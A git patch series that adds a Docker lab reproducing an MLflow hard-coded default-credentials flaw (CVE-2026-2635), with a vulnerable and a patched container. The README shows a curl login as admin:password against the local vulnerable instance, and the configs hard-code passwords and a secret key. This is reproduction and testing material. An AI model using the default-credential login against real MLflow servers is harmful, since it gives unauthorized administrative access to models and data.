From a8575d8b81ee1c1299399e8696a871d70884e676 Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan Date: Tue, 18 Aug 2026 12:18:32 +0000 Subject: [PATCH 1/3] add testbed for CVE-2026-2635 --- mlflow/CVE-2026-2635/README.md | 41 +++++++++++++++++++++ mlflow/CVE-2026-2635/basic_auth.ini | 5 +++ mlflow/CVE-2026-2635/basic_auth_patched.ini | 5 +++ mlflow/CVE-2026-2635/docker-compose.yml | 35 ++++++++++++++++++ 4 files changed, 86 insertions(+) create mode 100644 mlflow/CVE-2026-2635/README.md create mode 100644 mlflow/CVE-2026-2635/basic_auth.ini create mode 100644 mlflow/CVE-2026-2635/basic_auth_patched.ini create mode 100644 mlflow/CVE-2026-2635/docker-compose.yml diff --git a/mlflow/CVE-2026-2635/README.md b/mlflow/CVE-2026-2635/README.md new file mode 100644 index 00000000..d1a90582 --- /dev/null +++ b/mlflow/CVE-2026-2635/README.md @@ -0,0 +1,41 @@ +# MLflow Hard-coded Default Credentials Authentication Bypass (CVE-2026-2635) + +A critical authentication bypass vulnerability exists in MLflow (versions 2.10.0 and earlier) due to hard-coded default credentials in basic_auth.ini. Unauthenticated remote attackers can leverage these default credentials to gain administrative access to MLflow instances, access sensitive models/data, and potentially execute arbitrary code. + + +## Vulnerable Version +### Setup +Start MLflow version 2.10.0: + +```sh +docker compose up -d mlflow-vulnerable +``` + +### Testing the vulnerability + +```sh +curl -i -u admin:password "http://localhost:5000/api/2.0/mlflow/users/get?username=admin" +``` +Response: +```sh +{"user":{"experiment_permissions":[],"id":1,"is_admin":true,"registered_model_permissions":[],"username":"admin"}} +``` + + +## Safe Version +### Setup +Start MLflow version 2.11.0 configured with secure environment-driven credentials: + +```sh +docker compose up -d mlflow-patched +``` + +### Testing the vulnerability + +```sh +curl -i -u admin:password "http://localhost:5001/api/2.0/mlflow/users/get?username=admin" +``` +Response: +```sh +You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate. +``` \ No newline at end of file diff --git a/mlflow/CVE-2026-2635/basic_auth.ini b/mlflow/CVE-2026-2635/basic_auth.ini new file mode 100644 index 00000000..63d2bef6 --- /dev/null +++ b/mlflow/CVE-2026-2635/basic_auth.ini @@ -0,0 +1,5 @@ +[mlflow] +default_permission = READ +database_uri = sqlite:///basic_auth.db +admin_username = admin +admin_password = password diff --git a/mlflow/CVE-2026-2635/basic_auth_patched.ini b/mlflow/CVE-2026-2635/basic_auth_patched.ini new file mode 100644 index 00000000..8999e774 --- /dev/null +++ b/mlflow/CVE-2026-2635/basic_auth_patched.ini @@ -0,0 +1,5 @@ +[mlflow] +default_permission = READ +database_uri = sqlite:///basic_auth.db +admin_username = admin +admin_password = SecurePassphrase2026! diff --git a/mlflow/CVE-2026-2635/docker-compose.yml b/mlflow/CVE-2026-2635/docker-compose.yml new file mode 100644 index 00000000..1ad973a9 --- /dev/null +++ b/mlflow/CVE-2026-2635/docker-compose.yml @@ -0,0 +1,35 @@ +services: + mlflow-vulnerable: + image: ghcr.io/mlflow/mlflow:v2.10.0 + container_name: mlflow_vulnerable + restart: unless-stopped + ports: + - "5000:5000" # Vulnerable MLflow UI & Tracking API + volumes: + - ./basic_auth.ini:/mlflow/basic_auth.ini + environment: + - MLFLOW_AUTH_CONFIG_PATH=/mlflow/basic_auth.ini + command: > + mlflow server + --app-name basic-auth + --host 0.0.0.0 + --port 5000 + + mlflow-patched: + image: ghcr.io/mlflow/mlflow:v2.11.0 + container_name: mlflow_patched + restart: unless-stopped + ports: + - "5001:5000" # Patched MLflow UI & Tracking API (shifted to 5001 to prevent host port conflict) + volumes: + - ./basic_auth_patched.ini:/mlflow/basic_auth.ini + environment: + - MLFLOW_AUTH_CONFIG_PATH=/mlflow/basic_auth.ini + # Explicitly overriding initial credentials via environment variables + - MLFLOW_TRACKING_USERNAME=admin + - MLFLOW_TRACKING_PASSWORD=SecurePassphrase2026! + command: > + mlflow server + --app-name basic-auth + --host 0.0.0.0 + --port 5000 From 85d123cd15776ac0a1d4ccade52463dd04bdd0ab Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan Date: Thu, 20 Aug 2026 12:30:19 +0000 Subject: [PATCH 2/3] Remove basic_auth ini files and update docker-compose --- mlflow/CVE-2026-2635/basic_auth.ini | 5 --- mlflow/CVE-2026-2635/basic_auth_patched.ini | 5 --- mlflow/CVE-2026-2635/docker-compose.yml | 38 ++++++++------------- 3 files changed, 14 insertions(+), 34 deletions(-) delete mode 100644 mlflow/CVE-2026-2635/basic_auth.ini delete mode 100644 mlflow/CVE-2026-2635/basic_auth_patched.ini diff --git a/mlflow/CVE-2026-2635/basic_auth.ini b/mlflow/CVE-2026-2635/basic_auth.ini deleted file mode 100644 index 63d2bef6..00000000 --- a/mlflow/CVE-2026-2635/basic_auth.ini +++ /dev/null @@ -1,5 +0,0 @@ -[mlflow] -default_permission = READ -database_uri = sqlite:///basic_auth.db -admin_username = admin -admin_password = password diff --git a/mlflow/CVE-2026-2635/basic_auth_patched.ini b/mlflow/CVE-2026-2635/basic_auth_patched.ini deleted file mode 100644 index 8999e774..00000000 --- a/mlflow/CVE-2026-2635/basic_auth_patched.ini +++ /dev/null @@ -1,5 +0,0 @@ -[mlflow] -default_permission = READ -database_uri = sqlite:///basic_auth.db -admin_username = admin -admin_password = SecurePassphrase2026! diff --git a/mlflow/CVE-2026-2635/docker-compose.yml b/mlflow/CVE-2026-2635/docker-compose.yml index 1ad973a9..e6cdecc1 100644 --- a/mlflow/CVE-2026-2635/docker-compose.yml +++ b/mlflow/CVE-2026-2635/docker-compose.yml @@ -1,35 +1,25 @@ +version: '3.8' + services: + # Vulnerable Target (v2.10.0 - Ships with default admin:password) mlflow-vulnerable: image: ghcr.io/mlflow/mlflow:v2.10.0 container_name: mlflow_vulnerable - restart: unless-stopped ports: - - "5000:5000" # Vulnerable MLflow UI & Tracking API - volumes: - - ./basic_auth.ini:/mlflow/basic_auth.ini - environment: - - MLFLOW_AUTH_CONFIG_PATH=/mlflow/basic_auth.ini - command: > - mlflow server - --app-name basic-auth - --host 0.0.0.0 - --port 5000 + - "5000:5000" + command: mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth + restart: unless-stopped + # Patched Target (v3.8.0 - Default credentials removed) mlflow-patched: - image: ghcr.io/mlflow/mlflow:v2.11.0 + image: ghcr.io/mlflow/mlflow:v3.8.0 container_name: mlflow_patched - restart: unless-stopped ports: - - "5001:5000" # Patched MLflow UI & Tracking API (shifted to 5001 to prevent host port conflict) - volumes: - - ./basic_auth_patched.ini:/mlflow/basic_auth.ini + - "5001:5000" environment: - - MLFLOW_AUTH_CONFIG_PATH=/mlflow/basic_auth.ini - # Explicitly overriding initial credentials via environment variables - - MLFLOW_TRACKING_USERNAME=admin - - MLFLOW_TRACKING_PASSWORD=SecurePassphrase2026! + # Required by MLflow 3.x authentication CSRF middleware + - MLFLOW_FLASK_SERVER_SECRET_KEY=supersecretcsrfkeyforlab2026! command: > - mlflow server - --app-name basic-auth - --host 0.0.0.0 - --port 5000 + sh -c "pip install --no-cache-dir flask-wtf && + exec mlflow server --host 0.0.0.0 --port 5000 --app-name basic-auth --backend-store-uri sqlite:///mlflow.db" + restart: unless-stopped From d72a7b1b1ca30757e73bd9941b926132cf93091b Mon Sep 17 00:00:00 2001 From: Sanjay Mahajan Date: Thu, 20 Aug 2026 12:43:19 +0000 Subject: [PATCH 3/3] Update README.md file --- mlflow/CVE-2026-2635/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/mlflow/CVE-2026-2635/README.md b/mlflow/CVE-2026-2635/README.md index d1a90582..a9e84fc7 100644 --- a/mlflow/CVE-2026-2635/README.md +++ b/mlflow/CVE-2026-2635/README.md @@ -1,6 +1,6 @@ # MLflow Hard-coded Default Credentials Authentication Bypass (CVE-2026-2635) -A critical authentication bypass vulnerability exists in MLflow (versions 2.10.0 and earlier) due to hard-coded default credentials in basic_auth.ini. Unauthenticated remote attackers can leverage these default credentials to gain administrative access to MLflow instances, access sensitive models/data, and potentially execute arbitrary code. +A critical authentication bypass vulnerability exists in MLflow (versions prior to 3.8.0) due to hard-coded default credentials in the basic-auth configuration. Unauthenticated remote attackers can leverage these default credentials (admin:password) to gain administrative access to MLflow instances, access sensitive models and datasets, and potentially execute arbitrary code. ## Vulnerable Version @@ -24,7 +24,7 @@ Response: ## Safe Version ### Setup -Start MLflow version 2.11.0 configured with secure environment-driven credentials: +Start MLflow version 3.8.0 (which removes silent default credentials out-of-the-box): ```sh docker compose up -d mlflow-patched